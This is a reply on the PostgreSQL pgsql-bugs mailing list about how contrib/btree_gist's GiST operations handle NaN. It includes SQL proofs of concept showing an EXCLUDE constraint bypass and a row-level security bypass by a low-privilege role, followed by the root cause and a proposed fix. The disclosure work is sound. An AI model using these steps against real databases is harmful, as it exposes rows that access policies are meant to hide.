Re: BUG #19524: In `contrib/btree_gist` float4/float8 GiST index operations, handling NaN values with raw C operator

In addition to the index scan inconsistency you described, I found two further security-relevant effects from the same root cause.

Effect 1: EXCLUDE constraint bypass (float4)

CREATE TABLE reservations (
room float4,
during tsrange,
EXCLUDE USING gist (room WITH =, during WITH &&)
);
INSERT INTO reservations VALUES ('NaN'::float4, '[2025-01-01,2025-01-02)');
INSERT INTO reservations VALUES ('NaN'::float4, '[2025-01-01,2025-01-02)');
SELECT COUNT(*) FROM reservations;
Expected: 1 (second insert blocked). Actual: 2. The EXCLUDE constraint is silently bypassed for NaN values, allowing duplicate conflicting rows to be inserted.

Effect 2: RLS bypass (float8)

CREATE TABLE measurements (id int, val float8);
CREATE INDEX ON measurements USING gist (val);
INSERT INTO measurements VALUES (1, 'NaN'), (2, 1.5);
ALTER TABLE measurements ENABLE ROW LEVEL SECURITY;
ALTER TABLE measurements FORCE ROW LEVEL SECURITY;
CREATE POLICY hide_nan ON measurements FOR SELECT USING (val != 'NaN'::float8);
CREATE ROLE lowpriv LOGIN;
GRANT SELECT ON measurements TO lowpriv;
SET ROLE lowpriv;
SET enable_seqscan = off;
SET enable_bitmapscan = off;
SELECT * FROM measurements ORDER BY id;
Expected: only (2, 1.5). Actual: both rows including (1, NaN). The RLS policy is bypassed when the GiST index is used because gbt_float8_consistent() sets *recheck = false unconditionally, so the heap-level RLS filter is never applied.

The root cause is that gbt_float8eq(NaN, NaN) returns false due to IEEE 754 semantics, causing BtreeGistNotEqualStrategyNumber in btree_utils_num.c:300 to incorrectly conclude that NaN satisfies != NaN. The fix (replacing raw C operators with float8_cmp_internal) addresses both effects. As an additional defensive measure, *recheck in the consistent functions should be set to true when the query or key involves NaN.

王跃林
3020001251(at)tju(dot)edu(dot)cn

Original:
From：Ayush Tiwari <ayushtiwari(dot)slg01(at)gmail(dot)com>Date：2026-06-18 21:48:03(中国 (GMT+08:00))To：王跃林<violin0613(at)tju(dot)edu(dot)cn>Cc：pgsql-bugs <pgsql-bugs(at)lists(dot)postgresql(dot)org>Subject：Re: BUG #19524: In `contrib/btree_gist` float4/float8 GiST index operations, handling NaN values with raw C operatorHi,

On Thu, 18 Jun 2026 at 19:13, 王跃林 <violin0613(at)tju(dot)edu(dot)cn> wrote:

I apologize for the overlap. The root cause is identical and my analysis additionally identifies EXCLUDE constraint bypass and RLS bypass as security impacts with the same fix.
It would be great if you could add additional details
over that bug thread and take it forward.

Regards,
Ayush